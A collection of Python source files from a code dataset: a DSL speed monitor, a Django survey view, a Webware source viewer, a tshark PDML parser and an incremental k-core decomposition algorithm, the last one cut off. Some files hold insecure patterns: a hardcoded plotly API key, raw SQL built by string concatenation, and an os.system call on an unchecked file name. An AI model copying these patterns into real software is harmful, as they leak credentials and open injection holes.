+{"seq_id":"260284189","text":"import time\r\nimport speedtest\r\nimport plotly\r\nimport argparse\r\n\r\nimport plotly.plotly as py\r\nplotly.tools.set_credentials_file(username='humanica', api_key='y1Be2hS6Op9kplAdIwQI')\r\nimport plotly.graph_objs as go\r\nimport plotly.figure_factory as FF\r\nimport pandas as pd\r\nfrom datetime import datetime\r\n\r\nparser = argparse.ArgumentParser(description='Monitor Dsl uplaod- and downloadspeed as well as ping.')\r\nparser.add_argument('--period',type=int, help='Pass the measurement period', action=\"store\", default = False) \r\nargv = parser.parse_args()\r\nif argv.period:\r\n MEASUREPERIOD_SECONDS = argv.period\r\nelse:\r\n MEASUREPERIOD_SECONDS = 60\r\n \r\nFULLDAY_SECONDS = 86400 \r\n\r\ndef logMeasurement(bandwidthDown, bandwidthUp, Ping):\r\n \"\"\"\r\n Writes measurement to cvs file\r\n \"\"\"\r\n date = datetime.now().strftime('%Y-%m-%d %H:%M:%S')\r\n if((bandwidthDown > 100) and (bandwidthUp > 15) and (Ping < 25)):\r\n with open('logfile.csv', 'a') as logfile:\r\n # logfile.write('{}, {:.0f}, {:.0f}, {:3.2f}\\n'.format(date, bandwidthDown, bandwidthUp, Ping))\r\n logfile.write('{},{:.0f},{:.0f},{:3.2f}\\n'.format(date, bandwidthDown, bandwidthUp, Ping))\r\n else:\r\n with open('errorfile.csv', 'a') as errorfile: \r\n errorfile.write('{}, {:.0f}, {:.0f}, {:3.2f}\\n'.format(date, bandwidthDown, bandwidthUp, Ping))\r\n with open('logfile.csv', 'a') as logfile:\r\n # logfile.write('{}, {:.0f}, {:.0f}, {:3.2f}\\n'.format(date, bandwidthDown, bandwidthUp, Ping))\r\n logfile.write('{},{:.0f},{:.0f},{:3.2f}\\n'.format(date, bandwidthDown, bandwidthUp, Ping))\r\n\r\ndef triggerMeasurement():\r\n \"\"\"\r\n Pings Servers to retreive Download/Uploadbandwidth and ping, returns those values\r\n \"\"\"\r\n s = speedtest.Speedtest()\r\n s.get_servers()\r\n s.get_best_server()\r\n s.download()\r\n s.upload()\r\n res = s.results.dict()\r\n return res[\"download\"], res[\"upload\"], res[\"ping\"]\r\n\r\ndef printMeasurement():\r\n \"\"\"\r\n Prints all gathered data stored in cvs file\r\n \"\"\"\r\n # Import data from cvs\r\n df = pd.read_csv('logfile.csv')\r\n logfileTable = FF.create_table(df.head())\r\n py.plot(logfileTable, filename='logfileTable')\r\n\r\n downloadTrace = go.Scatter(\r\n x=df['Time'], y=df['Download'], # Data\r\n mode='lines', name='Download')\r\n uploadTrace = go.Scatter(x=df['Time'], y=df['Upload'], mode='lines', name='Upload' )\r\n pingTrace = go.Scatter(x=df['Time'], y=df['Ping'], mode='lines', name='Ping')\r\n\r\n layout = go.Layout(title='Simple Plot from csv data', plot_bgcolor='rgb(230, 230,230)')\r\n\r\n # actual printing\r\n fig = go.Figure(data=[downloadTrace, uploadTrace, pingTrace], layout=layout)\r\n py.plot(fig, filename='V-DSL Stats')\r\n \r\ndef BittoMbitConverter(bandwidthDown, bandwidthUp, Ping):\r\n \"\"\"\r\n Converts Bit Input to MBit\r\n \"\"\"\r\n bandwidthDown = bandwidthDown / (1024 * 1024)\r\n bandwidthUp = bandwidthUp / (1024 * 1024)\r\n return bandwidthDown, bandwidthUp, Ping\r\n \r\ndef driver():\r\n \"\"\"\r\n Manages measurement, logging and output\r\n \"\"\"\r\n print(MEASUREPERIOD_SECONDS)\r\n start = time.time()\r\n while True:\r\n time.sleep(MEASUREPERIOD_SECONDS)\r\n bandwidthDown, bandwidthUp, Ping = triggerMeasurement()\r\n bandwidthDown, bandwidthUp, Ping = BittoMbitConverter(bandwidthDown, bandwidthUp, Ping)\r\n logMeasurement(bandwidthDown, bandwidthUp, Ping)\r\n # Print once each day\r\n if((time.time() - start) > 30 * 60):\r\n printMeasurement()\r\n \r\nwith open('logfile.csv', 'w') as logfile:\r\n #logfile.write('Time, Download (MBit), Upload (MBit), Ping (ms) \\n')\r\n logfile.write('Time,Download,Upload,Ping\\n')\r\nwith open('errorfile.csv', 'w') as errorfile:\r\n errorfile.write('Time, Download (MBit), Upload (MBit), Ping (ms) \\n')\r\n# Start execution\r\ndriver()\r\n","sub_path":"dslMonitor.py","file_name":"dslMonitor.py","file_ext":"py","file_size_in_byte":4049,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"36726928","text":"from keras.utils import np_utils\nfrom sklearn.preprocessing import LabelEncoder\n\n\ndef encode(Y=['a', 'b', 'c']):\n encoder = LabelEncoder()\n encoder.fit(Y)\n Y = encoder.transform(Y)\n Y = np_utils.to_categorical(Y)\n return Y, encoder\n\n\ndef decode(encoder, Y):\n Y = np_utils.probas_to_classes(Y)\n Y = encoder.inverse_transform(Y)\n return Y\n","sub_path":"baseZhang/labeEncodeDecode.py","file_name":"labeEncodeDecode.py","file_ext":"py","file_size_in_byte":361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"354590715","text":"#!/usr/bin/env python\r\n#coding: utf-8\r\n'''\r\nCreated on Aug 29, 2018\r\n\r\nXingTong\r\n'''\r\nimport sys,time\r\n\r\n\r\n\r\n\r\nclass StreamLogger(object):\r\n \r\n def __init__(self):\r\n self.processorList=[] #processor list\r\n self.startTime=time.time() #processor's start time\r\n \r\n def setProcessorLog(self,clazz,beginTime,endTime):\r\n '''\r\n record processor log\r\n @param clazz:the class of processor\r\n @param beginTime:the begin time of processor \r\n @param endTime:the end time of processor \r\n '''\r\n if self.processorList: #data waiting time\r\n beforeProcessor=self.processorList[-1] #get before processor\r\n clazzMid=' %s-%s' % (beforeProcessor[0],clazz)\r\n midBeginTime=beforeProcessor[2]\r\n midEndTime=beginTime\r\n self.processorList.append((clazzMid,midBeginTime,midEndTime))\r\n self.processorList.append((clazz,beginTime,endTime))\r\n \r\n def getTotalPod(self):\r\n '''\r\n get the pipeline spends total time to process data \r\n '''\r\n beginTime=endTime=0\r\n if self.processorList:\r\n beginTime=self.processorList[0][1]\r\n endTime=self.processorList[-1][2]\r\n# print '%f-%f=%f:%s' % (endTime,beginTime,(endTime-beginTime),self.processorList)\r\n return endTime-beginTime","sub_path":"logger/StreamLogger.py","file_name":"StreamLogger.py","file_ext":"py","file_size_in_byte":1359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"608086275","text":"from os import sep\n\nfrom .ExamplePage import ExamplePage\n\n\nclass View(ExamplePage):\n \"\"\"View the source of a Webware servlet.\n\n For each Webware example, you will see a sidebar with various menu items,\n one of which is \"View source of example\". This link points to the\n View servlet and passes the filename of the current servlet. The View\n servlet then loads that file's source code and displays it in the browser\n for your viewing pleasure.\n\n Note that if the View servlet isn't passed a filename,\n it prints the View's docstring which you are reading right now.\n \"\"\"\n\n def writeContent(self):\n req = self.request()\n if req.hasField('filename'):\n trans = self.transaction()\n filename = req.field('filename')\n if sep in filename:\n self.write(\n '

    Error

    '\n '

    Cannot request a file'\n ' outside of this directory {filename!r}

    ')\n return\n filename = self.request().serverSidePath(filename)\n self.request().fields()['filename'] = filename\n trans.application().forward(trans, 'Colorize.py')\n else:\n doc = self.__class__.__doc__.split('\\n', 1)\n doc[1] = '

    \\n

    '.join(doc[1].split('\\n\\n'))\n self.writeln('

    {}

    \\n

    {}

    '.format(*doc))\n","sub_path":"webware/Examples/View.py","file_name":"View.py","file_ext":"py","file_size_in_byte":1415,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"409042547","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom dmp_researcher_app.models import Question, Answer, UserUserRole, Institution, Section\n\ndef researcher_question(request,section_id):\n request.session['back_to_section_questions_sec_id'] = section_id\n all_question = Question.objects.filter(section_id=section_id)\n all_answered_questions_count = False\n question_answer_status = list(range(0,100))\n counter = 0\n\n for question in all_question:\n\n if question.question_type_id == int(4) or question.question_type_id == int(6):\n all_answered_questions_options = Answer.objects.raw(\"select dmp_researcher_app_answer.id, dmp_researcher_app_answer.plan_id , dmp_researcher_app_section.id as section_id,dmp_researcher_app_answer.flag from dmp_researcher_app_answer left join dmp_researcher_app_question on (dmp_researcher_app_question.id=dmp_researcher_app_answer.question_id and dmp_researcher_app_answer.flag=1)left join dmp_researcher_app_section on (dmp_researcher_app_section.id = dmp_researcher_app_question.section_id) where dmp_researcher_app_answer.plan_id =\"+ str(request.session['plan_id']) + \" and dmp_researcher_app_section.id= \" + str(section_id) + \" and dmp_researcher_app_answer.question_id =\"+str(question.id))\n\n if len(list(all_answered_questions_options)) > 0:\n all_answered_questions_count = True\n question_answer_status[question.id] = all_answered_questions_count\n counter = counter + 1\n else:\n all_answered_questions_count = False\n question_answer_status[question.id] = all_answered_questions_count\n else:\n all_answered_questions_options = None\n all_answered_questions = Answer.objects.raw(\n \"select dmp_researcher_app_answer.id, dmp_researcher_app_answer.question_id, dmp_researcher_app_section.id as section_id, dmp_researcher_app_answer.plan_id from dmp_researcher_app_answer left join dmp_researcher_app_question on dmp_researcher_app_question.id=dmp_researcher_app_answer.question_id left join dmp_researcher_app_section on dmp_researcher_app_section.id = dmp_researcher_app_question.section_id where dmp_researcher_app_answer.plan_id = \" + str(\n (request.session['plan_id'])) + \" and dmp_researcher_app_section.id=\" + str(\n section_id) + \" and dmp_researcher_app_answer.question_id =\" + str(question.id))\n if len(list(all_answered_questions)) > 0:\n all_answered_questions_count = True\n counter = counter + 1\n question_answer_status[question.id] = all_answered_questions_count\n else:\n all_answered_questions_count = False\n question_answer_status[question.id] = all_answered_questions_count\n\n total_questions = len(list(all_question))\n progress_percentage = (counter / int(total_questions))*100\n user_roles = UserUserRole.objects.filter(user_id=request.session['user_id'])\n institution = Institution.objects.get(id=request.session['institution_id'])\n section_object = Section.objects.get(id=section_id)\n sectiontitle = section_object.section_title\n\n return render(request, 'planquestions/all_questions.html', {'counter':counter,'question_answer_status':question_answer_status,'all_answered_questions_options':all_answered_questions_options,'sectiontitle':sectiontitle,'all_answered_questions_count':all_answered_questions_count,'total_questions':total_questions,'user_roles' : user_roles,'institution': institution,'username': request.session['username'],'allquestions': all_question, 'section_id': section_id,'plan_id':request.session['plan_id'],'template_id':section_object.template_id,'approved_logo':request.session['approved_logo'],'all_answered_questions':all_answered_questions,'progress_percentage':progress_percentage})\n","sub_path":"dmp_researcher_app/views/plan_question.py","file_name":"plan_question.py","file_ext":"py","file_size_in_byte":3823,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"562686395","text":"# -*- coding=utf-8 -*-\nfrom xml.sax import *\n# from memory_profiler import profile\n\nPACKET_LIST = []\n\n\nclass Packet():\n def __init__(self):\n self.id = None\n self.timestamp = None\n self.length = None\n self.src_ip = None\n self.src_port = None\n self.dst_ip = None\n self.dst_port = None\n self.protocol = None\n self.stream = None\n\n def __repr__(self):\n return \"Packet %d Information: \\n\" % self.id \\\n + \"[1] Epoch Time: %f seconds\\n\" % self.timestamp \\\n + \"[2] Frame Length: %d bytes\\n\" % self.length \\\n + \"[3] SourceIP Address: %s\\n\" % self.src_ip \\\n + \"[4] Destination IP Address: %s\\n\" % self.dst_ip \\\n + \"[5] Source Port: %s\\n\" % self.src_port \\\n + \"[6] Destination Port :%s\\n\" % self.dst_port \\\n + \"[7] Protocol: %d\\n\" % self.protocol \\\n + \"[8] Stream: %d\\n\" % self.stream\n\n\nclass PacketHandler(ContentHandler):\n def startElement(self, name, attrs):\n if name == \"packet\":\n packet = Packet()\n PACKET_LIST.append(packet)\n elif name == \"field\":\n if attrs['name'] == \"num\":\n PACKET_LIST[-1].id = int(attrs['show'])\n elif attrs['name'] == \"len\":\n PACKET_LIST[-1].length = int(attrs['show'])\n elif attrs['name'] == \"timestamp\":\n PACKET_LIST[-1].timestamp = float(attrs['value'])\n elif attrs['name'] == \"ip.src\" or attrs['name'] == \"ipv6.src\":\n PACKET_LIST[-1].src_ip = attrs['show']\n elif attrs['name'] == \"ip.dst\" or attrs['name'] == \"ipv6.dst\":\n PACKET_LIST[-1].dst_ip = attrs['show']\n elif attrs['name'] == \"ip.proto\" or attrs['name'] == \"ipv6.nxt\":\n PACKET_LIST[-1].protocol = int(attrs['show'])\n elif attrs['name'] == \"udp.srcport\" or attrs['name'] == \"tcp.srcport\":\n PACKET_LIST[-1].src_port = int(attrs['show'])\n elif attrs['name'] == \"udp.dstport\" or attrs['name'] == \"tcp.dstport\":\n PACKET_LIST[-1].dst_port = int(attrs['show'])\n elif attrs['name'] == \"udp.stream\" or attrs['name'] == \"tcp.stream\":\n PACKET_LIST[-1].stream = int(attrs['show'])\n\n def endElement(self, name):\n if name == \"packet\":\n if PACKET_LIST[-1].id is None or \\\n PACKET_LIST[-1].timestamp is None or \\\n PACKET_LIST[-1].length is None or \\\n PACKET_LIST[-1].src_ip is None or \\\n PACKET_LIST[-1].src_port is None or \\\n PACKET_LIST[-1].dst_ip is None or \\\n PACKET_LIST[-1].dst_port is None or \\\n PACKET_LIST[-1].protocol is None or \\\n PACKET_LIST[-1].stream is None:\n PACKET_LIST.pop()\n\n\n# @profile\ndef parser_pdml(pdml_name):\n parser = make_parser()\n handler = PacketHandler()\n parser.setContentHandler(handler)\n parser.parse(pdml_name)\n return PACKET_LIST\n\n\ndef gen_pdml(pcap_file):\n cmd = r'tshark -r %s -T pdml > %s.pdml' % (pcap_file, pcap_file)\n import os\n os.system(cmd)\n return pcap_file + \".pdml\"\n","sub_path":"PdmlAnalyzer/packet.py","file_name":"packet.py","file_ext":"py","file_size_in_byte":3316,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"186029592","text":"\"\"\"This script provides an implementation of the algorithms specified in\n'Incremental k-core decomposition: algorithms and evaluation.',\nby Sariyüce et al., published in\nthe VLDB Journal — The International Journal on Very Large Data Bases in 2016.\n\nImports:\n networkx: Provides functionality for the creation, manipulation, and\n modification of graphs.\n\n timeit: This module provides a simple way to time Python code.\n\n random: This module implements pseudo-random number generators for\n various distributions. Used to randomly choose nodes for our\n time performance evaluation.\n\n collections: In the paper the attributes of graph nodes are lazily initialized.\n We use the defaultdict class in collections to mimic this\n approach.\n\"\"\"\nimport networkx as nx\nimport timeit\nimport random\nfrom collections import defaultdict\n\n\nclass DefaultGraph(nx.Graph):\n \"\"\"This class initializes inserted graph nodes with a defaultdict for their node attributes.\n\n We change the 'add_edges_from' and 'add_edge' functions of the Graph class\n in the networkx library. So whenever either of those functions is used\n to add edges, the nodes added to the Graph instance will have a defaultdict\n initialized for their attributes instead of a normal dictionary.\n\n The traversal algorithm uses lazy init for its node attributes, so this approach\n avoids multiple setdefault() calls or other tedious workarounds in the algorithm.\n \"\"\"\n\n def add_edge(self, u_of_edge, v_of_edge, **attr):\n u, v = u_of_edge, v_of_edge\n # add nodes.\n if u not in self._node:\n self._adj[u] = self.adjlist_inner_dict_factory()\n self._node[u] = defaultdict(int) # defaultdict initialized.\n if v not in self._node:\n self._adj[v] = self.adjlist_inner_dict_factory()\n self._node[v] = defaultdict(int) # defaultdict initialized.\n # add the edge.\n datadict = self._adj[u].get(v, self.edge_attr_dict_factory())\n datadict.update(attr)\n self._adj[u][v] = datadict\n self._adj[v][u] = datadict\n\n def add_edges_from(self, ebunch_to_add, **attr):\n for e in ebunch_to_add:\n ne = len(e)\n if ne == 3:\n u, v, dd = e\n elif ne == 2:\n u, v = e\n dd = {}\n else:\n raise nx.NetworkXError(\n \"Edge tuple %s must be a 2-tuple or 3-tuple.\" % (e,))\n if u not in self._node:\n self._adj[u] = self.adjlist_inner_dict_factory()\n self._node[u] = defaultdict(int) # defaultdict initialized.\n if v not in self._node:\n self._adj[v] = self.adjlist_inner_dict_factory()\n self._node[v] = defaultdict(int) # defaultdict initialized.\n datadict = self._adj[u].get(v, self.edge_attr_dict_factory())\n datadict.update(attr)\n datadict.update(dd)\n self._adj[u][v] = datadict\n self._adj[v][u] = datadict\n\n\ndef init_rcd(graph, n):\n \"\"\"Initializes the residential core degrees of all nodes in the graph.\n\n The core degrees of all nodes in the graph are calculated, from the maximum-core degree\n up to the n-core degree. The integers representing those values are stored\n in a dictionary with the key being a node in the graph, and the value\n being a list of its residential core degrees.\n\n E.g.: graph.nodes[12]['rcd'] = [5, 4, 2]. So the node 12 has mcd 5, pcd 4,\n and 3-core degree 2.\n\n Args:\n graph: Graph object created with the networkx library.\n n: Integer representing up to which residential core degree for each node\n is to be calculated.\n \"\"\"\n\n for node in graph:\n graph.nodes[node]['rcd'] = [0]*n # Inits a list with suitable size for each node.\n for i in range(n):\n for node in graph:\n if i == 0: # Computation of the maximum-core degree.\n for neighbor in graph[node]:\n if core[neighbor] >= core[node]:\n graph.nodes[node]['rcd'][0] += 1\n else:\n for neighbor in graph[node]:\n # Computation of n-core degree.\n if ((core[neighbor] == core[node] and\n graph.nodes[neighbor]['rcd'][i-1] > core[node]) or\n core[node] < core[neighbor]):\n graph.nodes[node]['rcd'][i] += 1\n\n\ndef compute_rcd(graph, node, n):\n \"\"\"Computes the n-core degree for a given graph node.\n\n Args:\n graph: Graph object created with the networkx library.\n node: Integer representing a graph node.\n n: Integer representing which n-core degree should be calculated.\n \"\"\"\n\n graph.nodes[node]['rcd'][n] = 0\n if n == 0:\n # Computation of the maximum-core degree.\n for neighbor in graph[node]:\n if core[neighbor] >= core[node]:\n graph.nodes[node]['rcd'][n] += 1\n else:\n # Computation of the n-core degree.\n for neighbor in graph[node]:\n if ((core[node] == core[neighbor] and\n graph.nodes[neighbor]['rcd'][n-1] > core[node]) or\n core[node] < core[neighbor]):\n graph.nodes[node]['rcd'][n] += 1\n\n\ndef traversal_insert(graph, n, u, v):\n \"\"\"Inserts an edge between two given graph nodes and updates the necessary core numbers.\n\n An edge between the nodes u and v is inserted. For every node in graph, the core number\n is increased if necessary due to the insertion of the edge.\n To determine which nodes need to be updated the information gained\n by the residential core degrees up to the n-core degree is used.\n\n Args:\n graph: Graph object created with the networkx library.\n n: Integer defining up to which n-hop neighborhood should be considered\n for updating the core numbers.\n u, v: Integers representing the graph nodes between which the edge is to be inserted.\n \"\"\"\n\n # Initialization.\n root = u\n if core[v] < core[u]:\n root = v\n graph.add_edge(u, v)\n # Adjust residential core degrees after the edge of the insertion.\n multihop_prepare_rcd_insertion(graph, n, u, v)\n s = [] # Stack s.\n k = core[root]\n changed = set() # Stores all the nodes that have their core number changed.\n reset_attr = set() # Stores all the nodes that need their node attributes reset at the end.\n candidates = set() # Stores all nodes that might need their core number changed.\n s.append(root)\n graph.nodes[root]['cd'] = graph.nodes[root]['rcd'][n-1]\n graph.nodes[root]['visited'] = 1\n candidates.add(root)\n pruned_vertices = set()\n\n # Core phase.\n while s:\n node = s.pop()\n reset_attr.add(node)\n if node == root:\n root_micd = graph.nodes[node]['micd']\n graph.nodes[node]['micd'] = 0\n if graph.nodes[node]['cd'] > k: # and (graph.nodes[node]['micd'] < k or k == 0):\n # Node has enough suitable neighbors to increase its core number.\n # candidates.add(node)\n if graph.nodes[node]['micd'] == k:\n for neighbor in graph[node]:\n if (core[neighbor] == k and graph.nodes[neighbor]['rcd'][0] > k and\n not graph.nodes[neighbor]['evicted'] and not graph.nodes[neighbor]['visited']):\n reset_attr.add(neighbor)\n graph.nodes[neighbor]['pruned'].append(node)\n pruned_vertices.add(neighbor)\n else:\n for neighbor in graph[node]:\n if (core[neighbor] == k and graph.nodes[neighbor]['rcd'][n-2] > k and\n not graph.nodes[neighbor]['visited']):\n s.append(neighbor)\n candidates.add(neighbor)\n graph.nodes[neighbor]['visited'] = 1\n # Due to propagate_eviction the 'cd' of the neighbor might have already\n # been decreased so addition must be used to take that into account.\n graph.nodes[neighbor]['cd'] += graph.nodes[neighbor]['rcd'][n-1]\n else: # Node does not have enough suitable neighbors and therefore is evicted.\n if not graph.nodes[node]['evicted']:\n propagate_eviction(graph, k, node, candidates, reset_attr)\n for node in pruned_vertices:\n if not graph.nodes[node]['visited']:\n for z_nodes in graph.nodes[node]['pruned']:\n graph.nodes[z_nodes]['cd'] -= 1\n if graph.nodes[z_nodes]['cd'] == k:\n propagate_eviction(graph, k, z_nodes, candidates, reset_attr)\n\n # Ending phase.\n graph.nodes[root]['micd'] = root_micd\n for node in reset_attr:\n if node in candidates and not graph.nodes[node]['evicted']:\n changed.add(node)\n for neighbor in graph[node]:\n if core[neighbor] == k+1:\n graph.nodes[node]['micd'] -= 1\n if core[neighbor] == k:\n graph.nodes[neighbor]['micd'] += 1\n core[node] += 1\n # Every node attribute besides 'rcd' has to be reset, since they are not\n # initialized at each function call. So without resetting further function calls\n # might result in errors.\n rcd = graph.nodes[node]['rcd']\n micd = graph.nodes[node]['micd']\n graph.nodes[node].clear()\n graph.nodes[node]['pruned'] = []\n graph.nodes[node]['rcd'] = rcd\n graph.nodes[node]['micd'] = micd\n # Adjust residential core degrees of the updated vertices and its neighbors.\n multihop_recompute_rcd_insertion(graph, n, changed)\n\n\ndef propagate_eviction(graph, k, node, candidates, reset_attr):\n \"\"\"Evicts the given node and additionally any other node that needs to be evicted as a result.\n\n The given graph node is evicted since it does not have enough suitable neighbors\n to be in the (k+1)-core. Every neighbor has its cd reduced due to them losing a potential\n neighbor.That means the neighbors of the input node might not be in\n the (k+1)-core themselves. Resulting in the neighbor being evicted as well.\n This eviction mechanism propagates recursively until no other node needs to be evicted.\n\n Args:\n graph: Graph object created with the networkx library.\n k: Minimum core number of the two nodes between which the edge was inserted.\n node: Integer representing the graph node to be evicted.\n reset_attr: List used to keep track of the nodes, that after\n the algorithm terminates need their node attributes reset.\n \"\"\"\n\n graph.nodes[node]['evicted'] = 1\n for neighbor in graph[node]:\n if core[neighbor] == k:\n graph.nodes[neighbor]['cd'] -= 1\n reset_attr.add(neighbor)\n if (graph.nodes[neighbor]['cd'] == k and not graph.nodes[neighbor]['evicted']):\n propagate_eviction(graph, k, neighbor, candidates, reset_attr)\n\n\ndef traversal_remove(graph, n, u, v):\n \"\"\"Removes the edge between the two given graph nodes and updates the necessary core numbers.\n\n The edge (u, v) in the graph is removed. The core number of the nodes in the graph\n is updated based on their maximum-core degree.\n If a node's maximum core degree is smaller than k after the deletion of\n the edge, its core number is decreased by 1, since the node doesn't have enough\n neighbors to be in the k-core.\n\n Args:\n graph: Graph object created with the networkx library.\n n: Integer defining up to which n-hop neighborhood should be considered\n while running the algorithm.\n u, v: Integers representing the nodes between which the edge is removed.\n \"\"\"\n\n # Initialization.\n root = u\n if core[v] < core[u]:\n root = v\n graph.remove_edge(u, v)\n changed = set() # Stores all the nodes that have their core number changed.\n reset_attr = set() # Stores all the nodes that need their node attributes reset at the end.\n # Adjust residential core degrees after the edge of the insertion.\n multihop_prepare_rcd_removal(graph, n, u, v)\n k = core[root]\n\n # Core Phase.\n if core[u] != core[v]:\n graph.nodes[root]['visited'] = 1\n reset_attr.add(root)\n graph.nodes[root]['cd'] = graph.nodes[root]['rcd'][0]\n if graph.nodes[root]['cd'] < k: # Node does not have enough suitable neighbors to be in the k-core.\n propagate_dismissal(graph, k, root, changed, reset_attr)\n else:\n graph.nodes[u]['visited'] = 1\n reset_attr.add(u)\n graph.nodes[u]['cd'] = graph.nodes[u]['rcd'][0]\n if graph.nodes[u]['cd'] < k: # Node does not have enough suitable neighbors to be in the k-core.\n propagate_dismissal(graph, k, u, changed, reset_attr)\n graph.nodes[v]['visited'] = 1\n reset_attr.add(v)\n graph.nodes[v]['cd'] = graph.nodes[v]['rcd'][0]\n # Node does not have enough suitable neighbors to be in the k-core and\n # was not already dismissed by the potential propagate_dismissal call node u.\n if not graph.nodes[v]['dismissed'] and graph.nodes[v]['cd'] < k:\n propagate_dismissal(graph, k, v, changed, reset_attr)\n \n # End Phase.\n for node in reset_attr:\n # Every node attribute besides 'rcd' has to be reset, since they are not\n # initialized at each function call. So without resetting further function calls\n # might result in errors.\n micd = graph.nodes[node]['micd']\n rcd = graph.nodes[node]['rcd']\n graph.nodes[node].clear()\n graph.nodes[node]['pruned'] = []\n graph.nodes[node]['micd'] = micd\n graph.nodes[node]['rcd'] = rcd\n for node in changed:\n for neighbor in graph[node]:\n if core[neighbor] == k:\n graph.nodes[node]['micd'] += 1\n if core[neighbor] == k-1:\n graph.nodes[neighbor]['micd'] -= 1\n multihop_recompute_rcd_removal(graph, n, changed)\n\n\ndef propagate_dismissal(graph, k, node, changed, reset_attr):\n \"\"\"Reduces the core number of all nodes that cannot be in the k-core after the edge removal.\n\n The given node is dismissed and has its core number decreased. This dismissal results\n in every neighbor of node losing a neighbor in the k-core themselves. As a result, those\n neighbors might no longer be in the k-core and they are dismissed. This process\n propagates until no further node needs to be dismissed.\n Every node that has its core number decremented is added to the set changed, which\n is needed to recompute the rcd values in the 'End Phase' of traversal_remove.\n\n Args:\n graph: Graph object created with the networkx library..\n k: Minimum core number of the two nodes between which the edge was deleted.\n node: Integer representing the graph node on which the\n function is called.\n changed: Set of nodes that have there core number reduced already.\n reset_attr: List used to keep track of the nodes, that after\n the algorithm terminates need their node attributes reset.\n \"\"\"\n\n graph.nodes[node]['dismissed'] = 1\n core[node] -= 1\n changed.add(node)\n for neighbor in graph[node]:\n if core[neighbor] == k:\n if not graph.nodes[neighbor]['visited']:\n # The cd of the neighbor might already have been altered in a previous\n # propgate_dismissal call, so addition must be used to take that into account.\n graph.nodes[neighbor]['cd'] += graph.nodes[neighbor]['rcd'][0]\n graph.nodes[neighbor]['visited'] = 1\n reset_attr.add(neighbor)\n # cd of every neighbor is reduced due to the dismissal of the input node.\n graph.nodes[neighbor]['cd'] -= 1\n if graph.nodes[neighbor]['cd'] < k and not graph.nodes[neighbor]['dismissed']:\n propagate_dismissal(graph, k, neighbor, changed, reset_attr)\n\n\ndef multihop_prepare_rcd_insertion(graph, n, u, v):\n \"\"\"Prepares the rcd values needed in traversal_insert.\n\n Args:\n graph: Graph object created with the networkx library.\n n: Integer representing up to which n-hop neighborhood should.\n be considered while calculating rcd values.\n u, v: Integers representing graph nodes between which the edge is inserted.\n \"\"\"\n\n root = u\n if core[v] < core[u]:\n root = v\n k = core[root]\n frontiers = [set() for index in range(n)]\n if core[u] != core[v]: # If their core number is equal only rcd changes originating from\n for h in range(n): # the root occure.\n graph.nodes[root]['rcd'][h] += 1 # The root gained a neighbor with higher core number.\n if h < n-1 and graph.nodes[root]['rcd'][h] == k+1:\n # If the n-core degree of the root increases to k+1, means that it was k before.\n # So by Definition 7 in the paper this causes a change in the rcd values\n # of its neighbors with equal core number.\n frontiers[h+1].add(root)\n if h > 0:\n for node in frontiers[h]:\n for neighbor in graph[node]:\n if core[neighbor] == k:\n graph.nodes[neighbor]['rcd'][h] += 1\n if h < n-1 and graph.nodes[neighbor]['rcd'][h] == k+1:\n # If the neighbors rcd value itself is now k+1, its neighbors\n # rcd values have to be adjusted as well.\n frontiers[h+1].add(neighbor)\n else:\n for h in range(n):\n # The maximum-core degree has to be adjusted separately since it does not depend\n # on the residential core degree of its neighbors.\n if h == 0:\n graph.nodes[u]['rcd'][h] += 1\n if graph.nodes[u]['rcd'][h] == k+1:\n frontiers[h+1].add(u)\n graph.nodes[v]['rcd'][h] += 1\n if graph.nodes[v]['rcd'][h] == k+1:\n frontiers[h+1].add(v)\n else:\n # At each iteration the h-core degree of u and v has to be adjusted since\n # they have equal core number at the point of insertion.\n if graph.nodes[v]['rcd'][h-1] > k:\n graph.nodes[u]['rcd'][h] += 1\n if h < n-1 and graph.nodes[u]['rcd'][h] == k+1:\n frontiers[h+1].add(u)\n if graph.nodes[u]['rcd'][h-1] > k:\n graph.nodes[v]['rcd'][h] += 1\n if h < n-1 and graph.nodes[v]['rcd'][h] == k+1:\n frontiers[h+1].add(v)\n for node in frontiers[h]:\n # This loop works just like it did in the first case. One thing to consider\n # is that the residential core degrees of u and v are adjusted before and therefore\n # have to be excluded.\n for neighbor in graph[node]:\n if (not (node == u and neighbor == v) and\n not (node == v and neighbor == u) and\n core[neighbor] == k):\n graph.nodes[neighbor]['rcd'][h] += 1\n if h < n-1 and graph.nodes[neighbor]['rcd'][h] == k+1:\n frontiers[h+1].add(neighbor)\n\n\ndef multihop_recompute_rcd_insertion(graph, n, changed):\n \"\"\"Recomputes the necessary rcd values after traversal_insert.\n\n The nodes in 'changed' and their neighbors with\n core(neighbor) = core[node] - 1 have their rcd values recomputed\n up to the n-core degree.\n\n Args:\n graph: Graph object created with the networkx library.\n n: Integer representing up to which n-hop neighborhood should\n be considered while calculating rcd values.\n changed: Set of nodes that had their core number changed in\n traversal_remove.\n \"\"\"\n\n for node in changed:\n graph.nodes[node]['visited'] = 1\n for h in range(n):\n updated = set() # Set of nodes that need their h-core degree recomputed.\n for node in changed:\n # This loop determines the neighbors of the nodes in changed that\n # need their h-core degree recomputed.\n for neighbor in graph[node]:\n if (not graph.nodes[neighbor]['visited'] and\n (core[neighbor] == core[node] or core[neighbor] == core[node] - 1)):\n updated.add(neighbor)\n graph.nodes[neighbor]['visited'] = 1\n for node in updated:\n changed.add(node)\n for node in changed:\n # Computation of the h-core degree at each loop iteration.\n compute_rcd(graph, node, h)\n for node in changed:\n # Node attribute 'visited' has to be reset, since they could result in errors\n # in traversal_remove and traversal_insert otherwise.\n graph.nodes[node]['visited'] = 0\n\n\ndef multihop_prepare_rcd_removal(graph, n, u, v):\n \"\"\"Prepares the rcd values that are needed in traversal_remove.\n\n Args:\n graph: Graph object created with the networkx library.\n n: Integer representing up to which n-hop neighborhood should\n be considered while calculating rcd values.\n u, v: Integers representing graph nodes between which the edge is removed.\n \"\"\"\n\n root = u\n if core[v] < core[u]:\n root = v\n k = core[root]\n frontiers = [set() for index in range(n)]\n if core[u] != core[v]: # 